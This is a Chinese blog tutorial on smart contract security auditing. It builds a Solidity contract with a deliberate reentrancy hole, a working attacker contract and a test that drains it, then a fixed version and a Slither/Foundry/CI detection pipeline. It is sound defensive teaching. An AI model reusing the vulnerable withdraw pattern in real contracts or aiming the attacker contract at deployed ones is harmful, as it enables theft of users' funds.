跳转到内容
123xiao | 无名键客

《区块链中智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建》

字数: 0 阅读时长: 1 分钟

区块链中智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建

智能合约一旦部署,往往就很难“悄悄修掉”问题。传统后端服务出了 bug,还能热修、回滚、加 WAF;但合约世界里,代码和资金是直接绑定的,很多事故不是“功能异常”,而是“资产被拿走”。这也是为什么合约审计不是锦上添花,而是上线前的硬门槛。

这篇文章我会按“先理解风险,再做实战,再搭流程”的方式带你走一遍,重点覆盖:

  • 常见智能合约漏洞的识别思路
  • 一个可运行的漏洞示例与修复方案
  • 如何把 静态分析 + 单元测试 + 模糊测试 + CI 组合成自动化检测流程
  • 审计中容易忽略的坑,以及怎么排查

读者默认对 Solidity、EVM、Hardhat 有基础了解,如果你写过简单 ERC20/权限合约,跟下来问题不大。


前置知识与环境准备

建议准备以下环境:

  • Node.js 18+
  • npm 或 pnpm
  • Solidity 0.8.x
  • Hardhat
  • Slither
  • Foundry(可选,但强烈建议)
  • Python 3.10+(Slither 依赖)

安装示例:

mkdir sc-audit-demo && cd sc-audit-demo
npm init -y
npm install --save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat

安装 Slither:

python3 -m pip install slither-analyzer

安装 Foundry(如果你要做 fuzz/invariant 测试):

curl -L https://foundry.paradigm.xyz | bash
foundryup

背景与问题

很多团队在做智能合约时,安全审计常见的误区有两个:

  1. 把审计理解成“上线前跑一次工具”
  2. 把安全问题理解成“只有重入才叫漏洞”

实际上,智能合约风险通常来自三层:

  • 代码层:重入、整数边界、权限缺失、签名校验错误
  • 协议层:经济模型设计缺陷、价格操纵、MEV 可利用性
  • 工程层:部署参数错误、升级初始化遗漏、CI 未拦截高危变更

如果只看代码、不看交互路径,很容易漏掉“组合型风险”。我自己早期做审计时,就踩过一个坑:代码里每个函数单独看都没问题,但把“授权 + 外部回调 + 清算逻辑”串起来,攻击路径就出来了。这类问题很适合借助自动化流程做“持续发现”,而不是靠一次人工检查赌运气。

智能合约审计的目标,不只是找 bug

更准确地说,审计要回答三类问题:

  • 有没有明显可利用漏洞
  • 有没有违反设计意图的状态转移
  • 有没有工程上容易在发布时出事故的环节

可以把它理解成:代码正确性 + 业务一致性 + 交付可控性


核心原理

先把审计方法拆开看,后面你会更容易理解为什么要组合工具链。

1. 人工审计关注“意图”

人工审计的核心不是逐行朗读代码,而是围绕以下问题:

  • 谁能调用这个函数?
  • 调用前后,关键状态变量应该满足什么约束?
  • 有没有外部调用?外部调用前后状态是否一致?
  • 资产流转是否和业务规则一致?
  • 管理员能力是否过大、是否可滥用?

2. 静态分析关注“模式”

像 Slither 这样的工具擅长发现:

  • 重入风险
  • 未检查返回值
  • tx.origin 使用
  • 时间戳依赖
  • 权限控制缺失
  • 变量遮蔽、死代码、低级调用风险

优点是快,适合 CI;缺点是误报会比较多,尤其对复杂业务逻辑无能为力。

3. 动态测试关注“行为”

单元测试和 fuzz 的价值在于:

  • 验证预期路径是否正确
  • 验证边界输入下系统是否稳定
  • 自动探索开发者没想到的输入组合

4. Invariant 测试关注“系统永远不该破坏的规则”

比如:

  • 合约总资产不应凭空增加/减少
  • 非管理员不能修改关键参数
  • 用户余额总和不应大于池子资产

这类测试在 DeFi 审计里非常有价值。


一张图看懂审计流程

flowchart TD
    A[需求与威胁建模] --> B[人工代码走查]
    B --> C[静态分析 Slither]
    C --> D[单元测试 Hardhat]
    D --> E[Fuzz/Invariant Foundry]
    E --> F[问题修复]
    F --> G[回归验证]
    G --> H[CI 自动化拦截]

常见漏洞识别地图

中级阶段最实用的做法,不是背定义,而是按“攻击面”记忆。

classDiagram
    class 漏洞类型 {
      重入
      权限控制缺失
      签名重放
      预言机操纵
      整数/精度问题
      DoS
      升级初始化错误
    }

    class 外部交互
    class 状态管理
    class 权限体系
    class 经济设计
    class 部署与升级

    漏洞类型 <--> 外部交互
    漏洞类型 <--> 状态管理
    漏洞类型 <--> 权限体系
    漏洞类型 <--> 经济设计
    漏洞类型 <--> 部署与升级

下面挑几个最常见、最值得优先检查的点。

1. 重入漏洞

典型信号:

  • 函数里先 call 外部地址,再更新余额
  • 用户可控目标地址
  • 提现、赎回、退款逻辑存在回调

经典修复:

  • Checks-Effects-Interactions
  • ReentrancyGuard
  • 尽量使用 pull 模式代替 push 模式

2. 权限控制缺失

典型信号:

  • 关键参数更新函数没有 onlyOwner
  • 初始化函数可重复调用
  • 升级授权地址设置错误
  • 多角色系统中角色边界不清

3. 签名校验不完整

典型信号:

  • 没有 nonce
  • 没有 deadline
  • 没有限定 chainId / domain separator
  • ecrecover 当万能验签器但没防重放

4. 价格与预言机依赖

典型信号:

  • 直接读取 AMM 即时价格
  • 没有 TWAP
  • 一个区块内可借贷、操纵、结算一条龙完成

5. 升级合约初始化问题

典型信号:

  • implementation 未禁用初始化
  • proxy 初始化遗漏
  • 存储布局冲突

这类问题在真实项目里很致命,因为测试环境经常“刚好没出事”,上线才暴露。


实战代码:从一个易受攻击的提款合约开始

下面我们做一个最小可运行案例,演示:

  1. 漏洞合约
  2. 攻击合约
  3. 测试验证
  4. 修复版本
  5. 自动化检测

环境准备

目录结构示例:

contracts/
  VulnerableBank.sol
  Attacker.sol
  SafeBank.sol
test/
  bank.js
hardhat.config.js

安装依赖:

npm install --save-dev @nomicfoundation/hardhat-toolbox

漏洞合约:典型重入问题

contracts/VulnerableBank.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        require(msg.value > 0, "zero value");
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient balance");

        // 漏洞点:先转账给外部地址,再更新余额
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");

        balances[msg.sender] -= amount;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

这个写法的问题是:msg.sender.call(...) 会把控制权交给外部地址。若外部地址是恶意合约,它可以在 fallback/receive 中再次调用 withdraw,而这时余额还没扣减。


攻击合约

contracts/Attacker.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IVulnerableBank {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
    function getBalance() external view returns (uint256);
}

contract Attacker {
    IVulnerableBank public target;
    address public owner;
    uint256 public attackAmount;

    constructor(address _target) {
        target = IVulnerableBank(_target);
        owner = msg.sender;
    }

    receive() external payable {
        if (address(target).balance >= attackAmount) {
            target.withdraw(attackAmount);
        }
    }

    function attack() external payable {
        require(msg.sender == owner, "not owner");
        require(msg.value > 0, "need eth");

        attackAmount = msg.value;
        target.deposit{value: msg.value}();
        target.withdraw(msg.value);
    }

    function collect() external {
        require(msg.sender == owner, "not owner");
        payable(owner).transfer(address(this).balance);
    }

    function contractBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

测试代码:复现漏洞

test/bank.js

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("VulnerableBank Reentrancy Demo", function () {
  it("should be drained by attacker", async function () {
    const [deployer, user, attackerEOA] = await ethers.getSigners();

    const Bank = await ethers.getContractFactory("VulnerableBank", deployer);
    const bank = await Bank.deploy();
    await bank.waitForDeployment();

    await bank.connect(user).deposit({
      value: ethers.parseEther("5"),
    });

    const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
    const attacker = await Attacker.deploy(await bank.getAddress());
    await attacker.waitForDeployment();

    await attacker.connect(attackerEOA).attack({
      value: ethers.parseEther("1"),
    });

    const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
    const attackerBalance = await ethers.provider.getBalance(await attacker.getAddress());

    expect(bankBalance).to.equal(0n);
    expect(attackerBalance).to.equal(ethers.parseEther("6"));
  });
});

运行:

npx hardhat test

如果环境正常,这个测试会通过,说明漏洞已成功复现:攻击者用 1 ETH 作为初始存款,最终把合约里原本属于别人的 5 ETH 也提走了。


修复版本:先更新状态,再外部调用

contracts/SafeBank.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract SafeBank {
    mapping(address => uint256) public balances;
    bool private locked;

    modifier nonReentrant() {
        require(!locked, "reentrant call");
        locked = true;
        _;
        locked = false;
    }

    function deposit() external payable {
        require(msg.value > 0, "zero value");
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount, "insufficient balance");

        // 先更新状态
        balances[msg.sender] -= amount;

        // 再与外部交互
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

为什么要双保险?

这里我做了两层防护:

  • 状态先更新
  • 加非重入锁

很多时候只做其中一层也能挡住这个案例,但实际项目里,我更建议在提现、兑换、赎回等敏感路径上尽量保守一点。尤其是多人协作时,后续有人改逻辑,第一层防护未必还能保持完整,第二层会更稳。


修复后的测试验证

可以补一个简单测试,验证攻击失败。

test/safeBank.js

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("SafeBank Reentrancy Protection", function () {
  it("should resist reentrancy attack", async function () {
    const [deployer, user, attackerEOA] = await ethers.getSigners();

    const Bank = await ethers.getContractFactory("SafeBank", deployer);
    const bank = await Bank.deploy();
    await bank.waitForDeployment();

    await bank.connect(user).deposit({
      value: ethers.parseEther("5"),
    });

    const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
    const attacker = await Attacker.deploy(await bank.getAddress());
    await attacker.waitForDeployment();

    await expect(
      attacker.connect(attackerEOA).attack({
        value: ethers.parseEther("1"),
      })
    ).to.be.reverted;

    const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
    expect(bankBalance).to.equal(ethers.parseEther("5"));
  });
});

自动化检测流程搭建

现在进入实战的后半段:如何把漏洞检测流程“流水线化”。

一个比较实用、投入产出比高的组合是:

  • Hardhat:编译、单测
  • Slither:静态分析
  • Foundry:fuzz / invariant
  • GitHub Actions:CI 自动拦截

本地执行链路

sequenceDiagram
    participant Dev as 开发者
    participant Test as 单元测试
    participant Slither as 静态分析
    participant Fuzz as Fuzz/Invariant
    participant CI as CI流水线

    Dev->>Test: 提交代码前运行 npx hardhat test
    Dev->>Slither: 运行 slither .
    Dev->>Fuzz: 运行 forge test
    Dev->>CI: push / PR
    CI->>Test: 编译与单测
    CI->>Slither: 静态规则扫描
    CI->>Fuzz: 高风险模块 fuzz
    CI-->>Dev: 失败则阻断合并

第一步:接入 Slither

先确保项目可编译:

npx hardhat compile
slither .

如果你的项目使用 Hardhat,Slither 通常可以自动识别编译信息。运行后你会看到类似:

  • reentrancy vulnerability
  • low-level calls
  • missing events arithmetic operation
  • naming / shadowing warnings

如何看待误报?

不要把工具报告当成“定罪书”,更像“排查清单”。我一般建议这么处理:

  • High:必须逐条确认
  • Medium:结合业务上下文判断
  • Low/Informational:统一纳入代码规范治理

如果你想把 Slither 融入 CI,可以只对高危规则设置失败门槛。


第二步:加入 Foundry 做 fuzz

对于“输入空间很大”的函数,单测往往覆盖不够。比如:

  • 提现数量边界
  • 签名参数组合
  • 清算路径
  • 多角色并发调用

一个简单的 Foundry fuzz 示例思路如下:

test/BankInvariant.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../contracts/SafeBank.sol";

contract BankInvariantTest is Test {
    SafeBank bank;
    address user = address(0x123);

    function setUp() public {
        bank = new SafeBank();
        vm.deal(user, 100 ether);
    }

    function testFuzz_DepositWithdraw(uint96 amount) public {
        vm.assume(amount > 0);
        vm.assume(amount < 10 ether);

        vm.prank(user);
        bank.deposit{value: amount}();

        vm.prank(user);
        bank.withdraw(amount);

        assertEq(bank.balances(user), 0);
    }
}

运行:

forge test

这类 fuzz 测试并不复杂,但非常适合抓边界问题。很多“看起来不可能”的输入,fuzzer 真的会帮你试出来。


第三步:把检测接入 GitHub Actions

.github/workflows/security.yml

name: smart-contract-security

on:
  push:
    branches: [main, develop]
  pull_request:

jobs:
  audit:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 20

      - name: Install npm deps
        run: npm ci

      - name: Compile
        run: npx hardhat compile

      - name: Run Hardhat tests
        run: npx hardhat test

      - name: Setup Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"

      - name: Install Slither
        run: pip install slither-analyzer

      - name: Run Slither
        run: slither . --fail-high

      - name: Setup Foundry
        uses: foundry-rs/foundry-toolchain@v1

      - name: Run Foundry tests
        run: forge test -vvv

这样一来,每次 PR 都会自动执行:

  • 编译
  • 单元测试
  • Slither 静态检查
  • Foundry 测试

如果检测到高危问题,就阻止合并。


逐步验证清单

如果你准备把这套流程落地到团队项目,建议按下面顺序推进:

第 1 阶段:基础可用

  • 合约能稳定编译
  • 核心路径有单元测试
  • Slither 能在本地跑通
  • CI 能自动执行编译与测试

第 2 阶段:安全增强

  • 高危函数补权限测试
  • 资金路径补事件校验
  • 提现、兑换、签名相关逻辑补 fuzz
  • 升级合约补初始化测试

第 3 阶段:持续治理

  • 建立漏洞分类与修复规范
  • 引入 invariant 测试
  • 给每次审计结论留回归用例
  • 将误报白名单化,避免 CI 噪音过大

常见坑与排查

这一段很重要,因为工具能装上,不代表流程就真正可用。

坑 1:以为 Solidity 0.8+ 就“没有安全问题了”

0.8 之后整数溢出默认会检查,但这不等于:

  • 没有精度损失
  • 没有逻辑缺陷
  • 没有权限问题
  • 没有经济攻击

排查建议: 把“语言级保护”和“协议级安全”分开看。


坑 2:单测覆盖高,但关键攻击路径没测

有些项目测试覆盖率 90%+,但测的全是正常流程:

  • 正常充值
  • 正常领取
  • 正常管理员配置

真正危险的是:

  • 重复调用
  • 跨函数组合调用
  • 非法角色调用
  • 极端输入
  • 外部回调

排查建议: 每个资金相关函数至少补三类测试:

  1. 正常路径
  2. 越权路径
  3. 异常/边界路径

坑 3:只依赖 Slither,不做业务验证

Slither 很强,但它不理解你的业务意图。比如:

  • 清算折扣是否合理
  • 手续费是否能被绕过
  • 限价单是否可被抢跑套利

这些都需要人工或仿真验证。

排查建议: 对以下模块必须人工复核:

  • 资产定价
  • 奖励分发
  • 签名授权
  • 升级/治理权限

坑 4:升级合约只测功能,不测初始化

代理合约场景里,最容易忽略:

  • implementation 合约是否可被初始化
  • proxy 是否正确初始化
  • 升级后变量槽位是否错乱

排查建议: 增加以下测试:

  • 初始化只能执行一次
  • 非管理员不能升级
  • 升级前后存储保持一致

坑 5:CI 跑得太慢,团队开始绕过它

这是工程实践里很真实的问题。检测项目一多,PR 等十几分钟,开发会本能抗拒。

排查建议:

  • PR 阶段:跑编译、单测、关键 Slither 规则、轻量 fuzz
  • nightly 阶段:跑全量 fuzz、invariant、gas 报告
  • 高风险模块单独建任务,不要全仓库“一锅炖”

安全/性能最佳实践

这里给一份我自己比较认可的、可直接执行的清单。

安全最佳实践

1. 优先使用成熟库

例如:

  • OpenZeppelin 的 OwnableAccessControl
  • ReentrancyGuard
  • Pausable
  • 标准化升级模式实现

不要为了“看起来简单”自己重写轮子,尤其是权限、签名、代理这些模块。

2. 敏感函数写成“先校验、再改状态、后外调”

也就是经典的:

  • Checks
  • Effects
  • Interactions

这一条在提现、赎回、跨合约调用时尤其重要。

3. 给关键不变量写测试,而不只是写功能用例

例如:

  • 总供应量守恒
  • 用户份额不会大于总份额
  • 管理员不能直接拿走用户资产
  • nonce 不可重复使用

4. 记录每个审计发现的“回归用例”

修掉漏洞还不够,最好把复现路径写成测试。否则后面重构时,问题很容易悄悄回来。

5. 关注“可升级性”本身的风险

可升级合约提高了灵活性,但也引入更大的权限攻击面。上线前一定问自己:

  • 谁能升级?
  • 升级流程是否多签?
  • 是否有 timelock?
  • 是否有紧急暂停机制?

性能最佳实践

安全和性能不是绝对对立,但确实要平衡。

1. 在热点路径减少不必要的存储读写

存储是最贵的操作之一。比如:

  • 能缓存到内存就别重复读 storage
  • 批处理要小心 gas 上限
  • 事件日志不是免费,但比链上状态便宜

2. 不要为了省一点 gas 牺牲可审计性

我见过一些代码把逻辑压得非常“极客”,结果:

  • 人不好审
  • 工具不好扫
  • 出问题不好修

中级以上工程实践里,一个经验是:可读性本身就是安全性的一部分

3. 针对高频函数单独做 gas 基线

比如交易、领取奖励、清算等高频入口,可以在 CI 中加 gas snapshot,避免某次改动突然把成本抬高。


何时需要人工深审,而不是只靠自动化

自动化流程很重要,但它解决不了所有问题。以下场景建议一定做人审,最好有经验审计员参与:

  • 新的 DeFi 机制设计
  • 复杂清算与杠杆系统
  • 自定义 AMM / Vault / 衍生品协议
  • 涉及链下签名、大量权限委托
  • 可升级治理系统
  • 高 TVL 项目上线前

一句话总结:自动化工具善于发现已知模式,人类更擅长识别未知组合风险。


总结

如果你要把智能合约审计做成一套真正能落地的实践,我建议按这个顺序来:

  1. 先建立漏洞地图:知道常见风险从哪里来
  2. 再做可复现案例:像本文一样,从漏洞到修复跑通一遍
  3. 最后搭自动化流程:用 Slither、测试、fuzz、CI 把它固化

最实用的落地建议是这三条:

  • 不要只追求“上线前审一次”,而要做“每次改动都自动检查”
  • 不要把注意力都放在重入,权限、签名、升级、价格依赖同样高危
  • 每修掉一个漏洞,就沉淀一条回归测试,这是团队安全能力真正增长的地方

边界条件也要讲清楚:
自动化检测能大幅提高下限,但它不是形式化验证,更不是经济安全的万能药。对于高资金量协议,人工审计、对抗性测试、上线后监控仍然不可替代。

如果你现在正维护一个合约项目,不妨先做一件很具体的事:把 CI 接上编译、单测和 Slither。这一步投入不大,但通常就能挡住一批低级却致命的问题。然后再逐步补 fuzz 和 invariant,安全体系就会开始成形。


分享到:

上一篇
《Java Web 开发中基于 Spring Boot + Redis + JWT 的统一登录鉴权与接口限流实战》
下一篇
《分布式架构实战:基于消息队列与幂等设计构建高可用订单系统》